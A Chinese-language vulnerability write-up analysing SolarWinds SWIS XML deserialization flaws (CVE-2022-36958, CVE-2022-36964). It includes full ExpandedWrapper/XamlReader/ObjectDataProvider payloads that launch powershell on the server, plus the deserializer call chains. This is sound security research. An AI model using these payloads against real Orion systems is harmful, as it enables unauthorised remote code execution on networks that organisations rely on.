Solarwinds DeserializeFromStrippedXml RCE
2023-11-1 10:48:0 Author: paper.seebug.org(查看原文) 阅读量:14 收藏

作者:g7shot@青藤实验室
原文链接:https://mp.weixin.qq.com/s/NT-1j4TdkEvnvf483HJPPg

漏洞信息

DeserializeFromStrippedXml方法存在以下四个dll

  • solarwinds.informationservice.Contract.dll
  • solarwinds.MessageBus.dll
  • solarwinds.informationservice.Addons.dll
  • solarwinds.Orion.Core.SharedCredentials.Provider.dll

来看看diff,明显的xml反序列化。

图片

SWIS服务

Solarwinds软件中有一个SolarWinds Information Service (SWIS)服务,可通过该服务访问到Orion平台中的数据,提供了一种类似于SQL的语言SWQL。

图片

默认监听端口端口17778、17777,官方提供了SWQL Studio工具可进行SWQL查询以及API调用,HTTP也能进行部分调用但是只能调用一部分。

如果熟悉WCF,很容易找到对应的接口在/SolarWinds/InformationService/v3/json/,在配置文件:

<endpoint address="/Json" binding="webHttpBinding" bindingConfiguration="RestBinding" contract="SolarWinds.InformationService.Core.IRestInformationService" behaviorConfiguration="RestEndpointBehavior">
    <identity>
    <certificateReference x509FindType="FindBySubjectDistinguishedName" storeName="My" storeLocation="LocalMachine" findValue="CN=SolarWinds-Orion" />
    </identity>
</endpoint>

对应类:

SolarWinds.InformationService.Core#IRestInformationService

不过SWQL Studio更加方便,只需要找到对应的verb填入参数即能调用

图片

CVE-2022-36958

这个CVE影响的是solarwinds.informationservice.Addons.dll,和上面提到的另外两个dll文件都实现了自定义反序列化的逻辑,实现都大同小异。

入口是将所有参数进行反序列化(DataContractSerializer),类型对应调用Verb函数的接收参数,如上。但是可以找到一个类实现了IXmlSerializable接口的方法,DataContractSerializer反序列化该类时会调用其readxml方法进行下一步操作,就像Json.NET自定义JsonConverter#ReadJson方法一样。

SolarWinds.InformationService.Addons.PropertyBag类继承了IXmlSerializable接口并实现了Readxml方法,当反序列化为PropertyBag类型时会调用ReadXml走自定义反序列化的逻辑,定位到SolarWinds.InformationService.Addons.PropertyBag#ReadXMl方法

  public void ReadXml(XmlReader reader)  
  {    
   foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))    
   {      
     XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");      if (xelement != null)      {        string value = xelement.Value;        XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");        
     if (xelement2 != null)        
     {          
       string value2 = xelement2.Value;          
       XAttribute xattribute = xelement2.Attribute("overrideType");          
       if (xattribute != null)          
       {            
         value2 = xattribute.Value;          
       }          
       object obj = null;          
       XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");              if (xelement3 != null && !xelement3.IsEmpty)          
       {            
         string value3 = xelement3.Value;            
         // 这里使用的反序列化器变为xmlserialzer            
         obj = this.Deserialize(value3, value2);     
         PropertyBagWhiteListCollector.LogObjectInfo(obj, SolarWinds.Serialization.Json.SerializationHelper.GetMethodFromStackTrace(), SolarWinds.Serialization.Json.SerializationHelper.GetAssemblyName());          
       }          
       base.Add(value, obj);        
     }      
   }    
 }  
}

将从xml中取出type和value进行反序列化,均可控。跟进

图片

中间有一部分逻辑省略了,最终确实拿到了我们期望的类型,然后调用DeserializeFromStrippedXml进行反序列化,但是在反序列化之前还会处理一次我们的xml

    public object DeserializeFromStrippedXml(string strippedXml)    
    {      
      if (strippedXml == null)      
      {        
        throw new ArgumentNullException("strippedXml");      
       }      
       string s = string.Format("<{0} xmlns='{1}'>{2}</{0}>", this.XsdElementName, this.Namespace, strippedXml);  
       return this.Serializer.Deserialize(new StringReader(s));    
     }

会在我们的payload最外层嵌套一层标签,这里XsdElementName是通过type正常生成的为ExpandedWrapperOfXamlReaderObjectDataProvider,但是namespace是获取为空的。

图片

命名空间的问题会导致正常payload无法正常执行,经过测试顶级命名空间不可控的情况下,移至子标签payload可正常执行,后来作者也提到了https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform。

所以针对SolarWinds.InformationService.Addons.PropertyBag的payload:

<dictionary xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">    
    <item>     
        <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>        
        <key>g7shot</key>        
        <value>&lt;ExpandedElement/&gt;&lt;ProjectedProperty0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;MethodName&gt;Parse&lt;/MethodName&gt;&lt;MethodParameters&gt;&lt;anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"&gt;&lt;![CDATA[&lt;ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"&gt;&lt;ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;b:String&gt;powershell&lt;/b:String&gt;&lt;b:String&gt;-c calc solarwindsRCE&lt;/b:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;]]&gt;&lt;/anyType&gt;&lt;/MethodParameters&gt;&lt;ObjectInstance xsi:type="XamlReader"&gt;&lt;/ObjectInstance&gt;&lt;/ProjectedProperty0&gt;</value>    
        </item>
</dictionary>

DataContractSerializer-->IXmlSerializable#ReadXml-->XmlSerializer RCE,调用栈

图片

CVE-2022-36964

自定义xml反序列化的地方有三处,这里利用到的类是SolarWinds.InformationService.Contract2.PropertyBag。

ReadXml实现代码:

public void ReadXml(XmlReader reader)  
  {    
     foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))    
     XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");      
     if (xelement != null)      
     {        
       string value = xelement.Value;        
       XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");        
       if (xelement2 != null)        
       {          
         string value2 = xelement2.Value;         
         XAttribute xattribute = xelement2.Attribute("overrideType");          
         if (xattribute != null)          
         {            
           value2 = xattribute.Value;         
         }         
         Type left;          
         if (value2 == "SolarWinds.InformationService.PropertyBag")          
         {           
           left = typeof(PropertyBag);          
           }          
           else          
           {            
             left = Type.GetType(value2);          
           }          
           object obj = null;          
           XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");          
           if (xelement3 != null && !xelement3.IsEmpty && left != null)          
           {            
             string value3 = xelement3.Value;            
             obj = this.Deserialize(value3, value2);            
             PropertyBagWhiteListCollector.LogObjectInfo(obj, SerializationHelper.GetMethodFromStackTrace(), SerializationHelper.GetAssemblyName());          
          }         
          base.Add(value, obj);       
         }      
        }    
    }  
}

和上面大同小异,最终构造针对SolarWinds.InformationService.Contract2.PropertyBag的payload如下:

<AlertingActionContext    
   xmlns="http://schemas.solarwinds.com/2008/Orion"    
   xmlns:i="http://www.w3.org/2001/XMLSchema-instance">    
   <MacroContext    
       xmlns="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.Actions.Contexts"           
       xmlns:a="http://schemas.solarwinds.com/2008/Orion">        
       <a:contexts            
           xmlns:b="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.MacroParsing">                    <b:ContextBase i:type="a:SwisEntityContext">                
               <a:DisplayName>Net object properties</a:DisplayName>                
               <a:EntityProperties>                    
                    <item xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">                             <key>g7shot</key>                         
                    <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>                      
                    <value>                            
                            <a><![CDATA[<ProjectedProperty0 xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">]]></a>                            
                            <b>&lt;![CDATA[</b>                            
                            <d><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{a:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc SolarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></d>                            
                            <e>]]&gt;</e>                            
                            <c><![CDATA[</anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0>]]></c>                    
                        </value>                     
                        </item>                
                    </a:EntityProperties>                
                    <a:EntityType i:nil="true"/>                
                    <a:EntityUri i:nil="true"/>            
                </b:ContextBase>        
            </a:contexts>    
        </MacroContext>    
        <AlertActiveId i:nil="true"/>    
        <AlertContext>        
              <AlertName i:nil="true"/>        
              <CreatedBy i:nil="true"/>    
              </AlertContext>   
                   <AlertObjectId i:nil="true"/>    
                   <EntityType i:nil="true"/>    
                   <EntityUri i:nil="true"/>    
                   <EntityUris i:nil="true"        
                        xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>         
                        <ExecutionMode>Trigger</ExecutionMode>        
                        <IsGlobalAlert>false</IsGlobalAlert>        
                        <NetObjectData i:nil="true"            
                            xmlns:a="http://s
chemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Common.Alerting"/>            
             <ObjectDataExists>false</ObjectDataExists>       
       </AlertingActionContext>

漏洞复现

找到入口点传入的类型为SolarWinds.InformationService.Addons.PropertyBag,复制上面的payload发送,比如Orion.AlertActionExecuted.ReportIndication的verb

图片

图片

拓展

Solarwinds之前的CVE-2022-36957( PropertyBagJsonConverter )和上面的两个Xml反序列化,都是通过找到特定类自定义的反序列化进行下一步的利用。

对比下DataContractSerializer正常反序列化逻辑和走自定义反序列化逻辑的调用栈:

图片

图片

最终都会进入到XmlObjectSerializerReadContext#ReadDataContractValue方法,然后再调用ReadXmlValue走内部反序列化的逻辑,具体代码

protected virtual object ReadDataContractValue(    
    DataContract dataContract,    X
    XmlReaderDelegator reader)
{   
    return dataContract.ReadXmlValue(reader, this);
}

根据上面的调用栈可以发现两种不同的反序列化过程区别在于dataContract属性,分别是XmlDataContract和ClassDataContract,而dataContract是在DataContractSerializer类中进行初始化的:

private DataContract RootContract
{   
    get    
    {    
    if (this.rootContract == null)   
    {        
        this.rootContract = DataContract.GetDataContract(this.dataContractSurrogate == null ? this.rootType : DataContractSerializer.GetSurrogatedType(this.dataContractSurrogate, this.rootType));        this.needsContractNsAtRoot = 
        this.CheckIfNeedsContractNsAtRoot(this.rootName, this.rootNamespace, this.rootContract);    
     }    
     return this.rootContract;    
     }
}

然后通过一系列的调用获取DataContract复制给this.RootContract,贴下这部分调用栈

图片

最终会拿到对应的DataContract实例:

图片

由于本地调试环境问题没有详细跟进,不过可以清楚看见第二个红框标记的一个if条件是type.IsDefined(Globals.TypeOfDataContractAttribute, false)。

参考官方文档,在使用DataContractSerializer反序列化类时,类需要标记DataContract特性,所以在正常使用过程中都会使用ClassDataContract#ReadXmlValue,然后再走内部反序列化的逻辑,这里不再赘述。

简单看下XmlDataContract#ReadXmlValue最终是怎么调用到反序列化类的ReadXml方法中的:

图片

进入ReadXmlValue方法中之后会调用XmlObjectSerializerReadContext.ReadIXmlSerializable(),跟进

图片

到这里最终调用了ReadXml方法走自定义反序列化的逻辑。

那其他Xml序列化器是否也有类似的处理逻辑?我们知道常见的xml序列化器有

  • DataContractSerializer,继承XmlObjectSerializer
  • NetDataContractSerializer,继承XmlObjectSerializer
  • XmlSerializer

调试发现NetDataContractSerializer同样也支持这种方式,如果CVE-2022-36958的序列化器是NetDataContractSerializer,如下payload也同样适用:

 <dictionary z:Type="SolarWinds.InformationService.Contract2.PropertyBag" z:Assembly="SolarWinds.InformationService.Contract, Version=2022.3.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">    
      <item>    
      payload    
      </item>
</dictionary>

最后补充下类自定义Xml( DataContractSerializer、NetDataContractSerializer )反序列化条件:

  1. 继承IXmlSerializable&不能被DataContract特性标记
  2. 定义XmlRoot特性或者XmlSchemaProvider特性
  3. 需要一个无参构造函数

例如反序列化这个类时就能走到ReadXml方法:

 //条件1    
   // [XmlRoot("dictionary", Namespace = "http://schemas.solarwinds.com/2007/08/informationservice/propertybag")]    
   [XmlSchemaProvider("GetSchema")]    
   //条件2    
   class Person : IXmlSerializable    
   {        
         [DataMember()]        
         public string FirstName;        
         [DataMember]        
         public string LastName;        
         [DataMember()]        
         public int Age;        

         public Person(string newfName, string newLName, int age)        
         {            
               FirstName = newfName;            
               LastName = newLName;            
               Age = age;       
          }        
          // 条件3        
          public Person()        
          {            
                Console.WriteLine("init!!!");        
          }        
          public XmlSchema GetSchema()        
          {            
              throw new NotImplementedException();        
          }        
               public void ReadXml(XmlReader reader)        
          {            
               throw new NotImplementedException();        
          }       
          public void WriteXml(XmlWriter writer)        
          {            
              throw new NotImplementedException();        
          }        
          public static XmlQualifiedName GetSchema(XmlSchemaSet xs)        
          {            
               return null;       
               }
        }

参考链接

  1. https://learn.microsoft.com/en-us/dotnet/api/system.xml.serialization.ixmlserializable

  2. https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3065/


文章来源: https://paper.seebug.org/3065/
如有侵权请联系:admin#unsafe.sh